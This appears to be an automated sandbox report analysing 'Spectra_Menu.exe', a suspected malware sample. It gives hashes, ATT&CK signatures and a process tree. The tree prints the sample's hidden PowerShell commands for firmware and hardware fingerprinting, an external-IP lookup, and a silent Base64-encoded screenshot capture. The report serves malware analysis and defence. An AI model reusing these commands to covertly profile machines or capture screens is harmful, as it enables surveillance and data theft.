a85a6ab97232b3456eac5459b296c51b75dd870101ba0804b847627541d0a1e9

Analysis

max time kernel
119s
max time network
95s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
03/05/2026, 12:20

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General

Target
Spectra_Menu.exe
Size 112.0MB
Sample260503-phtffsct2j
SHA256 a85a6ab97232b3456eac5459b296c51b75dd870101ba0804b847627541d0a1e9
MD5 2ecaabaad8e2db9e13eb27bf2b327368
SHA1 0f842b90884c69d70b2c7344f5bab9982f482f73
SHA512 57cdbde1a6592cd5ccc687a5a5c1814322427b7149c87f0dd6cff9c11bb95ef76e105be2ebbe290cc19368324eda21fad94a5f4c13af22199a993c209b5c25d3
SSDEEP 1572864:TAXffHRdXmZF8CY8EpRIf2pjmom3H7S7u+VYVXqwb:e3iXtqwb
TLSH
T1AA486C43B2A75098E4BBC97582D65323E5337C8A1F3069EF15845B312F73AE09B39B25
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4368	powershell.exe
2428	powershell.exe
4352	powershell.exe
1964	powershell.exe
3732	powershell.exe
5096	powershell.exe
3132	powershell.exe
3972	powershell.exe
3352	powershell.exe
3020	powershell.exe
2944	powershell.exe
3752	powershell.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	api.ipify.org
8	api.ipify.org

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
4352	powershell.exe
4352	powershell.exe
3972	powershell.exe
3972	powershell.exe
1964	powershell.exe
1964	powershell.exe
3732	powershell.exe
3732	powershell.exe
3352	powershell.exe
3352	powershell.exe
5096	powershell.exe
5096	powershell.exe
3020	powershell.exe
3020	powershell.exe
2944	powershell.exe
2944	powershell.exe
3752	powershell.exe
3752	powershell.exe
4368	powershell.exe
4368	powershell.exe
2428	powershell.exe
2428	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4352	powershell.exe
Token: SeDebugPrivilege	3972	powershell.exe
Token: SeIncreaseQuotaPrivilege	3972	powershell.exe
Token: SeSecurityPrivilege	3972	powershell.exe
Token: SeTakeOwnershipPrivilege	3972	powershell.exe
Token: SeLoadDriverPrivilege	3972	powershell.exe
Token: SeSystemProfilePrivilege	3972	powershell.exe
Token: SeSystemtimePrivilege	3972	powershell.exe
Token: SeProfSingleProcessPrivilege	3972	powershell.exe
Token: SeIncBasePriorityPrivilege	3972	powershell.exe
Token: SeCreatePagefilePrivilege	3972	powershell.exe
Token: SeBackupPrivilege	3972	powershell.exe
Token: SeRestorePrivilege	3972	powershell.exe
Token: SeShutdownPrivilege	3972	powershell.exe
Token: SeDebugPrivilege	3972	powershell.exe
Token: SeSystemEnvironmentPrivilege	3972	powershell.exe
Token: SeRemoteShutdownPrivilege	3972	powershell.exe
Token: SeUndockPrivilege	3972	powershell.exe
Token: SeManageVolumePrivilege	3972	powershell.exe
Token: 33	3972	powershell.exe
Token: 34	3972	powershell.exe
Token: 35	3972	powershell.exe
Token: 36	3972	powershell.exe
Token: SeDebugPrivilege	1964	powershell.exe
Token: SeIncreaseQuotaPrivilege	1964	powershell.exe
Token: SeSecurityPrivilege	1964	powershell.exe
Token: SeTakeOwnershipPrivilege	1964	powershell.exe
Token: SeLoadDriverPrivilege	1964	powershell.exe
Token: SeSystemProfilePrivilege	1964	powershell.exe
Token: SeSystemtimePrivilege	1964	powershell.exe
Token: SeProfSingleProcessPrivilege	1964	powershell.exe
Token: SeIncBasePriorityPrivilege	1964	powershell.exe
Token: SeCreatePagefilePrivilege	1964	powershell.exe
Token: SeBackupPrivilege	1964	powershell.exe
Token: SeRestorePrivilege	1964	powershell.exe
Token: SeShutdownPrivilege	1964	powershell.exe
Token: SeDebugPrivilege	1964	powershell.exe
Token: SeSystemEnvironmentPrivilege	1964	powershell.exe
Token: SeRemoteShutdownPrivilege	1964	powershell.exe
Token: SeUndockPrivilege	1964	powershell.exe
Token: SeManageVolumePrivilege	1964	powershell.exe
Token: 33	1964	powershell.exe
Token: 34	1964	powershell.exe
Token: 35	1964	powershell.exe
Token: 36	1964	powershell.exe
Token: SeDebugPrivilege	3732	powershell.exe
Token: SeIncreaseQuotaPrivilege	3732	powershell.exe
Token: SeSecurityPrivilege	3732	powershell.exe
Token: SeTakeOwnershipPrivilege	3732	powershell.exe
Token: SeLoadDriverPrivilege	3732	powershell.exe
Token: SeSystemProfilePrivilege	3732	powershell.exe
Token: SeSystemtimePrivilege	3732	powershell.exe
Token: SeProfSingleProcessPrivilege	3732	powershell.exe
Token: SeIncBasePriorityPrivilege	3732	powershell.exe
Token: SeCreatePagefilePrivilege	3732	powershell.exe
Token: SeBackupPrivilege	3732	powershell.exe
Token: SeRestorePrivilege	3732	powershell.exe
Token: SeShutdownPrivilege	3732	powershell.exe
Token: SeDebugPrivilege	3732	powershell.exe
Token: SeSystemEnvironmentPrivilege	3732	powershell.exe
Token: SeRemoteShutdownPrivilege	3732	powershell.exe
Token: SeUndockPrivilege	3732	powershell.exe
Token: SeManageVolumePrivilege	3732	powershell.exe
Token: 33	3732	powershell.exe

Suspicious use of WriteProcessMemory 29 IoCs

description	pid	Process	procid_target
PID 3328 wrote to memory of 1100	3328	Spectra_Menu.exe	80
PID 1100 wrote to memory of 3132	1100	cmd.exe	82
PID 3328 wrote to memory of 428	3328	Spectra_Menu.exe	83
PID 428 wrote to memory of 4352	428	cmd.exe	85
PID 4352 wrote to memory of 3392	4352	powershell.exe	86
PID 3328 wrote to memory of 4736	3328	Spectra_Menu.exe	87
PID 4736 wrote to memory of 3972	4736	cmd.exe	89
PID 3328 wrote to memory of 2668	3328	Spectra_Menu.exe	91
PID 2668 wrote to memory of 1964	2668	cmd.exe	93
PID 3328 wrote to memory of 3324	3328	Spectra_Menu.exe	94
PID 3324 wrote to memory of 3732	3324	cmd.exe	96
PID 3328 wrote to memory of 2500	3328	Spectra_Menu.exe	97
PID 2500 wrote to memory of 3352	2500	cmd.exe	99
PID 3328 wrote to memory of 3824	3328	Spectra_Menu.exe	100
PID 3824 wrote to memory of 5096	3824	cmd.exe	102
PID 3328 wrote to memory of 4436	3328	Spectra_Menu.exe	103
PID 4436 wrote to memory of 3020	4436	cmd.exe	105
PID 3328 wrote to memory of 1008	3328	Spectra_Menu.exe	106
PID 1008 wrote to memory of 1824	1008	cmd.exe	108
PID 3328 wrote to memory of 2624	3328	Spectra_Menu.exe	109
PID 2624 wrote to memory of 4956	2624	cmd.exe	111
PID 3328 wrote to memory of 3548	3328	Spectra_Menu.exe	112
PID 3548 wrote to memory of 2944	3548	cmd.exe	114
PID 3328 wrote to memory of 5064	3328	Spectra_Menu.exe	115
PID 5064 wrote to memory of 3752	5064	cmd.exe	117
PID 3328 wrote to memory of 3064	3328	Spectra_Menu.exe	118
PID 3064 wrote to memory of 4368	3064	cmd.exe	120
PID 3328 wrote to memory of 3180	3328	Spectra_Menu.exe	121
PID 3180 wrote to memory of 2428	3180	cmd.exe	123

C:\Users\Admin\AppData\Local\Temp\Spectra_Menu.exe
"C:\Users\Admin\AppData\Local\Temp\Spectra_Menu.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3328
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint GetSystemFirmwareTable(uint sig,uint id,IntPtr buf,uint sz);public static string R(){uint n=GetSystemFirmwareTable(0x52534D42,0,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);GetSystemFirmwareTable(0x52534D42,0,b,n);byte[] d=new byte[(int)System.Math.Min(n,8192u)];Marshal.Copy(b,d,0,d.Length);Marshal.FreeHGlobal(b);var s=new System.Text.StringBuilder();var c=new System.Text.StringBuilder();foreach(byte x in d){if(x>=0x20&&x<0x7F)c.Append((char)x);else{if(c.Length>=4){s.Append(c);s.Append(\\"|\\");}c.Clear();}}return s.ToString();}' -Name R1 -Namespace HW -Using System.Runtime.InteropServices; [HW.R1]::R()""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1100
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint GetSystemFirmwareTable(uint sig,uint id,IntPtr buf,uint sz);public static string R(){uint n=GetSystemFirmwareTable(0x52534D42,0,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);GetSystemFirmwareTable(0x52534D42,0,b,n);byte[] d=new byte[(int)System.Math.Min(n,8192u)];Marshal.Copy(b,d,0,d.Length);Marshal.FreeHGlobal(b);var s=new System.Text.StringBuilder();var c=new System.Text.StringBuilder();foreach(byte x in d){if(x>=0x20&&x<0x7F)c.Append((char)x);else{if(c.Length>=4){s.Append(c);s.Append(\\"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3132
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint EnumSystemFirmwareTables(uint sig,IntPtr buf,uint sz);public static string L(){uint n=EnumSystemFirmwareTables(0x41435049,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);EnumSystemFirmwareTables(0x41435049,b,n);var r=new System.Text.StringBuilder();for(int i=0;i<(int)(n/4);i++){byte[] s=new byte[4];Marshal.Copy(b+i*4,s,0,4);r.Append(System.Text.Encoding.ASCII.GetString(s));r.Append(\\",\\");}Marshal.FreeHGlobal(b);return r.ToString();}' -Name R2 -Namespace HW2 -Using System.Runtime.InteropServices; [HW2.R2]::L()""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:428
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint EnumSystemFirmwareTables(uint sig,IntPtr buf,uint sz);public static string L(){uint n=EnumSystemFirmwareTables(0x41435049,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);EnumSystemFirmwareTables(0x41435049,b,n);var r=new System.Text.StringBuilder();for(int i=0;i<(int)(n/4);i++){byte[] s=new byte[4];Marshal.Copy(b+i*4,s,0,4);r.Append(System.Text.Encoding.ASCII.GetString(s));r.Append(\\",\\");}Marshal.FreeHGlobal(b);return r.ToString();}' -Name R2 -Namespace HW2 -Using System.Runtime.InteropServices; [HW2.R2]::L()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4352
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ipoynypu\ipoynypu.cmdline"
      4⤵
      PID:3392
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Model | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4736
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Model | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object Manufacturer | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2668
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object Manufacturer | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1964
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_ComputerSystem | Select-Object Manufacturer | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3324
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_ComputerSystem | Select-Object Manufacturer | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3732
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PhysicalMemory | Select-Object Manufacturer,Speed | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2500
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PhysicalMemory | Select-Object Manufacturer,Speed | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3352
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_SoundDevice | Select-Object Name | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3824
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_SoundDevice | Select-Object Name | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:5096
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BaseBoard | Select-Object Manufacturer,Product | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4436
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BaseBoard | Select-Object Manufacturer,Product | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3020
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get Manufacturer /format:list"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1008
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get Manufacturer /format:list
    3⤵
    PID:1824
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get Product /format:list"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2624
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get Product /format:list
    3⤵
    PID:4956
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object PNPDeviceID | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3548
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object PNPDeviceID | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2944
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PnPEntity | Select-Object Name | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5064
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PnPEntity | Select-Object Name | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3752
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Size | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3064
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Size | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4368
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing;$b=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds;$bmp=New-Object Drawing.Bitmap($b.Width,$b.Height);$g=[Drawing.Graphics]::FromImage($bmp);$g.CopyFromScreen($b.Location,[Drawing.Point]::Empty,$b.Size);$ms=New-Object IO.MemoryStream;$bmp.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg);[Convert]::ToBase64String($ms.ToArray())""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3180
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing;$b=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds;$bmp=New-Object Drawing.Bitmap($b.Width,$b.Height);$g=[Drawing.Graphics]::FromImage($bmp);$g.CopyFromScreen($b.Location,[Drawing.Point]::Empty,$b.Size);$ms=New-Object IO.MemoryStream;$bmp.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg);[Convert]::ToBase64String($ms.ToArray())"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2428

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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